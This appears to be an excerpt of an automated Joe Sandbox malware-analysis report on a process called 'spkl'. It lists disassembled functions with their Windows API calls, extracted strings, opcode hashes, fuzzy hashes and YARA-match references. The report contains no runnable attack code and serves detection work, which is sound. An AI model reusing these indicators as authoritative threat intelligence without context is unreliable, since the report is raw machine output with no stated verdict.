Function 03371644 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(00000000,00000000,00004000,?,?,?,03469DB8,0346DDBB,033718AB), ref: 0337169E

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c89af9689dc6a5bd18824219434657978325dc3acf4056ffce969c5bb5e09cf3
Instruction ID: 2bbfb53807df28f760f86ac4d917899a0ae0b38316f3521343ff9ffeb5354bdf
Opcode Fuzzy Hash: c89af9689dc6a5bd18824219434657978325dc3acf4056ffce969c5bb5e09cf3
Instruction Fuzzy Hash: 9C01F2BBE082045FC330EE28DCC0A6A77ACDB84324F1D067CDE849B341D23A6C418BA4

Function 00402AF8 Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,00403107), ref: 00402B0E

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7086043f854aeabdd748604502d9e9e754581baddf49906d5f90c171e79ab4a0
Instruction ID: 7676bbfaa4a99f35c6751e8613a9746da9d777a8880297b7060b3b7c351f590d
Opcode Fuzzy Hash: 7086043f854aeabdd748604502d9e9e754581baddf49906d5f90c171e79ab4a0
Instruction Fuzzy Hash: EAF03CB1B153008BDB149F799E49701BBE2BB89304F10813DE50DEB7D9E7B484458B04

Function 0339CE20 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000014,00001000,00000040,?,?,033A9D8B,?,?,?), ref: 0339CE38

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 25f121b53049a61f472bb6a6a0536ac5395f4d2870f67642e57dbaef25bb508c
Instruction ID: 3d5a03d84c0e2e5160339abd06d676600ca74d9ade07de9c009b3f710c8f9a9d
Opcode Fuzzy Hash: 25f121b53049a61f472bb6a6a0536ac5395f4d2870f67642e57dbaef25bb508c
Instruction Fuzzy Hash: 03D002B13512206FE761D6999CC1F9267D8DF4D7A1F114162F718DB2D5D1A15C004794

Function 0339CE40 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,033AD095,?,?,?,?,033AD183), ref: 0339CE52

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: af6e4e87e7d52067b40402848dae663d7fa3b9f2e5384183253ce32db9b54083
Instruction ID: 1b6cfce514884cf85cb3bae269d21c4ef47d9c874637b734c76aa187250d3452
Opcode Fuzzy Hash: af6e4e87e7d52067b40402848dae663d7fa3b9f2e5384183253ce32db9b54083
Instruction Fuzzy Hash: FFC092703501009FD280DB48CC81F0133A8FF89B00F004092F600CF2E4CA60A8008F00

Function 033734B8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef97efb3a6aaf9efc52c589c920a8beac3f07146118738f68e36b6919b96ea2f
Instruction ID: 596c3a568bbce170fcc35056906007ef4d0f0cc96a982e9c6b9e4f414d84408e
Opcode Fuzzy Hash: ef97efb3a6aaf9efc52c589c920a8beac3f07146118738f68e36b6919b96ea2f
Instruction Fuzzy Hash: 3EF0E2362046469F9336DE5EADC1862F7DDF78937034E4039E904CB510D635E890D5E0

Function 0337C310 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beaa75151f2dd4434657940ad20e5caefe3cbcbad368c3702029a10a591961d9
Instruction ID: 4979f22fb7a2faf77fe03251c823dbd0c216ef84319f2ecee9d5641183496813
Opcode Fuzzy Hash: beaa75151f2dd4434657940ad20e5caefe3cbcbad368c3702029a10a591961d9
Instruction Fuzzy Hash: 09F09B7CA243486EE636F7B858D556D77BCEB85620B810454E5504EB01DB2C84409B7B

Function 03377650 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c45e69e87e8c0d194b88b7eb729f52060ac0642bc4977fd573525d8fbca6fbc5
Instruction ID: c52084c50e510fe2d2fc6c4617023071722389f474733c43c7c0a91f758b48bd
Opcode Fuzzy Hash: c45e69e87e8c0d194b88b7eb729f52060ac0642bc4977fd573525d8fbca6fbc5
Instruction Fuzzy Hash: DEA02280302300038200A2FC0CC200800CC220C030320B030300BCB202C88C8CA02000

Function 03372598 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 428ddd743a221c6ae3c468ded627dc22acc21c8cdb3490f7f8992c08ae1bd7a4
Instruction ID: f7a624d5ae48538f76fedbe4667d127a8a9b097d04fce5a703f94b11046bf275
Opcode Fuzzy Hash: 428ddd743a221c6ae3c468ded627dc22acc21c8cdb3490f7f8992c08ae1bd7a4
Instruction Fuzzy Hash: D9B0123420C00141AE30D6314CD746FDEE831001E07CD0C119485C1440FB1CC200E472

Non-executed Functions

Function 0040A700 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 152stringfileCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,?,?,0040AA03,00000000,0040AAC4,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105), ref: 0040A764
lstrcpynW.KERNEL32(?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000,0040AAC4,?,80000001,Software\CodeGear\Locales,00000000,000F0019), ref: 0040A7D3
lstrcpynW.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000,0040AAC4,?,80000001), ref: 0040A81B
FindFirstFileW.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000,0040AAC4), ref: 0040A82E
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000), ref: 0040A844
lstrlenW.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03), ref: 0040A850
lstrcpynW.KERNEL32(0000005A,?,00000104), ref: 0040A88C
lstrlenW.KERNEL32(?,0000005A,?,00000104), ref: 0040A898
lstrcpynW.KERNEL32(?,0000005C,?,?,0000005A,?,00000104), ref: 0040A8BB

Strings

GetLongPathNameW, xrefs: 0040A72B
\, xrefs: 0040A862
kernel32.dll, xrefs: 0040A718

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$CloseFileFirst
String ID: GetLongPathNameW$\$kernel32.dll
API String ID: 426534248-3908791685
Opcode ID: fff4d093d4f64c9b8f0b0be4baa1e7ed36f96c168a4cb11f79d949cb4668dc06
Instruction ID: 08b204b8f9dcac002f665e27cc2fe3104c2839342c80bb952a0621304cfe6181
Opcode Fuzzy Hash: fff4d093d4f64c9b8f0b0be4baa1e7ed36f96c168a4cb11f79d949cb4668dc06
Instruction Fuzzy Hash: 4451A4B2D006189FCB10EAA4CD89BDE73BCAB04314F1489B6A144F72C1E778DE558B5A

Function 0337D280 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 92timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,00000000,0337D3DD), ref: 0337D358

Strings

\win386.swp, xrefs: 0337D310
\pagefile.sys, xrefs: 0337D2F0

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: LocalTime
String ID: \pagefile.sys$\win386.swp
API String ID: 481472006-523492860
Opcode ID: 45aa5c119978983c566223e00c9e60ca452bd15782414e52745c1609bac88c8c
Instruction ID: 5a1892994304cb15e78e25222c944af22814bb2d867813d7955afd8e18490b7d
Opcode Fuzzy Hash: 45aa5c119978983c566223e00c9e60ca452bd15782414e52745c1609bac88c8c
Instruction Fuzzy Hash: E0410D38D0421EEADB60EBA4D8C05EDF7B5EF09700F8085A1E81566514EB389E86CB54

Function 0040A298 Relevance: 4.6, APIs: 3, Instructions: 100COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,0040A3FF,?,?,?,00000000), ref: 0040A344
GetLocaleInfoW.KERNEL32(?,00000059,?,00000055,?,00000002,00000000,0040A3FF,?,?,?,00000000), ref: 0040A360
GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,0040A3FF,?,?,?,00000000), ref: 0040A371

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: d876009f7abf20313862ceb1cb78fd14b1100367c842d81889ce47d2ff682741
Instruction ID: 1e92f35711aceb852ec481b770b894b8151f2946676c8c0ea368725d2e7ef4d1
Opcode Fuzzy Hash: d876009f7abf20313862ceb1cb78fd14b1100367c842d81889ce47d2ff682741
Instruction Fuzzy Hash: 9531AC7090470CABDB20DF61CC81BEFB7B9EB44700F4140BAE948B32C0D6796E908E1A

Function 0339B8B0 Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

ineI, xrefs: 0339BA50
ntel, xrefs: 0339BA49
Genu, xrefs: 0339BA42

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID:
String ID: Genu$ineI$ntel
API String ID: 0-3389352399
Opcode ID: 14a87177e3acac91da4be8fa5e44951736ef3dc2eeded08482fb05f3e17207d9
Instruction ID: 0e395bb177fdfd665c54ded2b9111d92c85e82f1695bf2a65b70315cbe3bcfe6
Opcode Fuzzy Hash: 14a87177e3acac91da4be8fa5e44951736ef3dc2eeded08482fb05f3e17207d9
Instruction Fuzzy Hash: 70519F74B04254CBEF24DF6D98D02EDFBB9AF45210F0881ABC885CF75AEA748906CB55

Function 033776C4 Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,00000001,0337D32D,00000000,0337D3DD), ref: 033776DF
GetLastError.KERNEL32(00000000,?,?,?,00000001,0337D32D,00000000,0337D3DD), ref: 03377704

Part of subcall function 03377660: FileTimeToLocalFileTime.KERNEL32(?), ref: 0337768D
Part of subcall function 03377660: FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 0337769C

Part of subcall function 03377714: FindClose.KERNEL32(?,?,03377702,00000000,?,?,?,00000001,0337D32D,00000000,0337D3DD), ref: 03377720

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: FileTime$Find$CloseDateErrorFirstLastLocal
String ID:
API String ID: 976985129-0
Opcode ID: c757f704e8e999f22d72134eb9cd40739b29ba6115c35a804121bd37f31d335b
Instruction ID: 982daeab9f0a83ba5540729a11a5b8fcfc328a369ff5a631a4376da3c9091090
Opcode Fuzzy Hash: c757f704e8e999f22d72134eb9cd40739b29ba6115c35a804121bd37f31d335b
Instruction Fuzzy Hash: 59E06D7AF01664478735EE7D5CC19BAA1889A856B130906BAF914DF345DA2DCC0287E0

Function 03379C9C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0337B10E,00000000,0337B327,?,?,00000000,00000000), ref: 03379CAF

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cb8b70dfe387a3e475d30475657f9d186179ff27a95f2876544dd5eff36dcb2b
Instruction ID: d4e9d24f04b0e141ea0348dff60f8c54419204213aca361bbcc4abe471609b51
Opcode Fuzzy Hash: cb8b70dfe387a3e475d30475657f9d186179ff27a95f2876544dd5eff36dcb2b
Instruction Fuzzy Hash: B7D05E6670D2512AE224A25A6DC5EBB5ADCCBC66A0F044139B548CB301D3048C0697B1

Function 03376312 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 071d3c264ec3e49089b35f96309a3b17ecc7f5926ff1fb2e012e32321ee441a7
Instruction ID: 3041ce25e8fc32e1baed3ab0364adba0c22e9d8327efaaba841af2523eba65b9
Opcode Fuzzy Hash: 071d3c264ec3e49089b35f96309a3b17ecc7f5926ff1fb2e012e32321ee441a7
Instruction Fuzzy Hash:

Function 03376342 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb1b739d35c3e4fafae9abcfb98b1c85a5d314cca298a748e0aa2fdb16552cda
Instruction ID: a13cd2894a25035cddb3ddfddd158d6e491253fdabb0e18d836c4d9278538008
Opcode Fuzzy Hash: cb1b739d35c3e4fafae9abcfb98b1c85a5d314cca298a748e0aa2fdb16552cda
Instruction Fuzzy Hash:

Function 03376252 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a313a0f4217701598da667f6f1487e75d2262e8dbb260176c064a8590c81d20
Instruction ID: d04c5567b76b453504adaba36db25140af3679732876158f11c8994db8b1804d
Opcode Fuzzy Hash: 9a313a0f4217701598da667f6f1487e75d2262e8dbb260176c064a8590c81d20
Instruction Fuzzy Hash:

Function 03376292 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa71ca27cdeb41fb3cc29899c7dd9b90399a4924822dbb34348435a36bc6e45a
Instruction ID: 7f6bc257a50b63c3df79a4432e1feba78bfae0518eb6e75d2df0998f2d82492d
Opcode Fuzzy Hash: aa71ca27cdeb41fb3cc29899c7dd9b90399a4924822dbb34348435a36bc6e45a
Instruction Fuzzy Hash:

Function 0337611A Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa667204fe3f75facbae9235326299b3eb8b35156d48fa6c6c914d807ed10b47
Instruction ID: c169d3c142e76baa75da996523ebb979c17461eb90a0b0aa5ef5a299d38b653f
Opcode Fuzzy Hash: fa667204fe3f75facbae9235326299b3eb8b35156d48fa6c6c914d807ed10b47
Instruction Fuzzy Hash:

Function 03376092 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 357642af50e776cada291c17a7f9045e7053fee95ecf62714e4b91d133ba8cec
Instruction ID: 3d9c478cf448b9550bdfda74ed46e516be8c840802330ddc0ce494eed80db32b
Opcode Fuzzy Hash: 357642af50e776cada291c17a7f9045e7053fee95ecf62714e4b91d133ba8cec
Instruction Fuzzy Hash:

Function 033760F2 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19fa4f3bba887fea629016f45fdf518b4ba1ec4a24c21450e084ac390115b5e6
Instruction ID: 35e48e56ddcbe4da0547827cc593cb4a97d64380475f5d416166f8b89ced440e
Opcode Fuzzy Hash: 19fa4f3bba887fea629016f45fdf518b4ba1ec4a24c21450e084ac390115b5e6
Instruction Fuzzy Hash:

Function 03375FFA Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 885d7665424bb66a543d2c0947426644e1fc68938898d98fe85575acdb2f5766
Instruction ID: 4d492f92d83413eebb51134f2d602d2c6dcbbb2271b9bc52944c7574e842dbbd
Opcode Fuzzy Hash: 885d7665424bb66a543d2c0947426644e1fc68938898d98fe85575acdb2f5766
Instruction Fuzzy Hash:

Function 03375134 Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 033751BB
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 033751DF
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 033751FB
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000), ref: 0337521C
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 03375245
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 0337524F
GetStdHandle.KERNEL32(000000F5), ref: 0337526F
GetFileType.KERNEL32(?,000000F5), ref: 03375286
CloseHandle.KERNEL32(?,?,000000F5), ref: 033752A1
GetLastError.KERNEL32(000000F5), ref: 033752BB

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 4159ef20ab38d6fd4804ea57006b31c021607034db19b6ede11a64a744973c56
Instruction ID: 7d45066133ff2f9779729246329ae1861f025508d4b7f222aa127861b801c66e
Opcode Fuzzy Hash: 4159ef20ab38d6fd4804ea57006b31c021607034db19b6ede11a64a744973c56
Instruction Fuzzy Hash: 1C41A2349147009AFB38DF24CDC8B66B6E9EB02714F288E2DD1968E6D0E77D98458B90

Function 0337B05C Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0337B327,?,?,00000000,00000000), ref: 0337B092

Strings

AMPM, xrefs: 0337B2A6
m/d/yy, xrefs: 0337B161
:mm, xrefs: 0337B2C5
mmmm d, yyyy, xrefs: 0337B18E
AMPM , xrefs: 0337B2B5
:mm:ss, xrefs: 0337B2E2

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: LocaleThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 635194068-2493093252
Opcode ID: d21cbbd73412135971c1020f502f8b28337e65353a6edf4524476ce37ec73d02
Instruction ID: 58e70680d40f9b150478f5f353d8f613fdee26da78555eae265043e31d2eacef
Opcode Fuzzy Hash: d21cbbd73412135971c1020f502f8b28337e65353a6edf4524476ce37ec73d02
Instruction Fuzzy Hash: 86613E38B0034DABEB20EBA4C8C0AEFB7B9DB89310F509525E115AF745EB3CD9459790

Function 033A05CC Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 117COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(0000009C), ref: 033A0652

Part of subcall function 033A0A84: GetVersionExA.KERNEL32(?,?,00000000,?,033A0615), ref: 033A0ADB

GetVersionExA.KERNEL32(0000009C), ref: 033A0621

Strings

SERVERNT, xrefs: 033A06F8
LANMANNT, xrefs: 033A070D
System\CurrentControlSet\Control\ProductOptions, xrefs: 033A06D4
ProductType, xrefs: 033A06CF
WINNT, xrefs: 033A06E3

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID: Version
String ID: LANMANNT$ProductType$SERVERNT$System\CurrentControlSet\Control\ProductOptions$WINNT
API String ID: 1889659487-2290413088
Opcode ID: 50cf00742ec04ea69849f8d8b66bbc710457151c1d3f6fe1777ce5b71cbdcda0
Instruction ID: e1bbab0e9225c0e6b20a84c184780b60b67ec3232777006f1fa5e5c32162deba
Opcode Fuzzy Hash: 50cf00742ec04ea69849f8d8b66bbc710457151c1d3f6fe1777ce5b71cbdcda0
Instruction Fuzzy Hash: C531F838E45F085EDF3CD67C8DC93EAB3ADDB8630DF4800A2E4418A661D6358981CF11

Function 03374B10 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 127stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 03374B6B
lstrcpyn.KERNEL32(?,?,0000005C,kernel32.dll), ref: 03374BCF
lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll), ref: 03374C04
lstrlen.KERNEL32(?,0000005D,?), ref: 03374C67
lstrcpy.KERNEL32(?,0000005C), ref: 03374C85

Strings

\, xrefs: 03374C42
GetLongPathNameA, xrefs: 03374B35
kernel32.dll, xrefs: 03374B25

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: lstrcpylstrcpyn$lstrlen
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 2167663922-1565342463
Opcode ID: 24bbab3c522dd8857c9603b14eaad6dfb59f2ed6ea774f33ea36ab772b24c7aa
Instruction ID: 3045ec7d4eda85db714d359d7265792fbecb0f4b8fb298d3dac493edc46c3933
Opcode Fuzzy Hash: 24bbab3c522dd8857c9603b14eaad6dfb59f2ed6ea774f33ea36ab772b24c7aa
Instruction Fuzzy Hash: A4415B76E00259AFDB31DAA9CDC8BDEB7ECEF09200F0844E1A549DB201D779AE448F50

Function 0337B05A Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 196threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0337B327,?,?,00000000,00000000), ref: 0337B092

Strings

AMPM, xrefs: 0337B2A6
m/d/yy, xrefs: 0337B161
:mm, xrefs: 0337B2C5
mmmm d, yyyy, xrefs: 0337B18E
:mm:ss, xrefs: 0337B2E2

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: LocaleThread
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 635194068-665933166
Opcode ID: e7db303170b65407d4c90b5edc13ea7fc0b92eb27a4ae46f8976e11dc97d9188
Instruction ID: 78fbbca66124d2128d66afb160271015103df9f3b85a4332de7f2c571d18762f
Opcode Fuzzy Hash: e7db303170b65407d4c90b5edc13ea7fc0b92eb27a4ae46f8976e11dc97d9188
Instruction Fuzzy Hash: 88611C38B003499BEB20EBA4C8C0AEFB6B9DB89300F549525E119AF645EB3CD9459754

Function 004069F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?), ref: 00406A29
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000), ref: 00406A2F
GetStdHandle.KERNEL32(000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A44
WriteFile.KERNEL32(00000000,000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A4A

Strings

Runtime error at 00000000, xrefs: 00406A22, 00406A61

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileHandleWrite
String ID: Runtime error at 00000000
API String ID: 3320372497-1393363852
Opcode ID: 0c9eed1a39936270ba1f4b76f6c638a20d303835925233aef2ef59efb2a76de2
Instruction ID: e63e786300ecc46298da8aedc39f8a4fd1395a4b7eb443298d7c7201171cb949
Opcode Fuzzy Hash: 0c9eed1a39936270ba1f4b76f6c638a20d303835925233aef2ef59efb2a76de2
Instruction Fuzzy Hash: 97F02B61B8030078EA10BBA05E5EF67252C6B41F28F11413FF218B92D696FC85C4CA1E

Function 033719C8 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(033B8430), ref: 033719F5
LocalFree.KERNEL32(033B8488,033B8430,00000000,03371A9E), ref: 03371A07
LocalFree.KERNEL32(033B8448,00000000,00000000,00008000,033B8488,00000000,03371A9E), ref: 03371A65
RtlLeaveCriticalSection.NTDLL(033B8430), ref: 03371A8E
RtlDeleteCriticalSection.NTDLL(033B8430), ref: 03371A98

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: CriticalSection$FreeLocal$DeleteEnterLeave
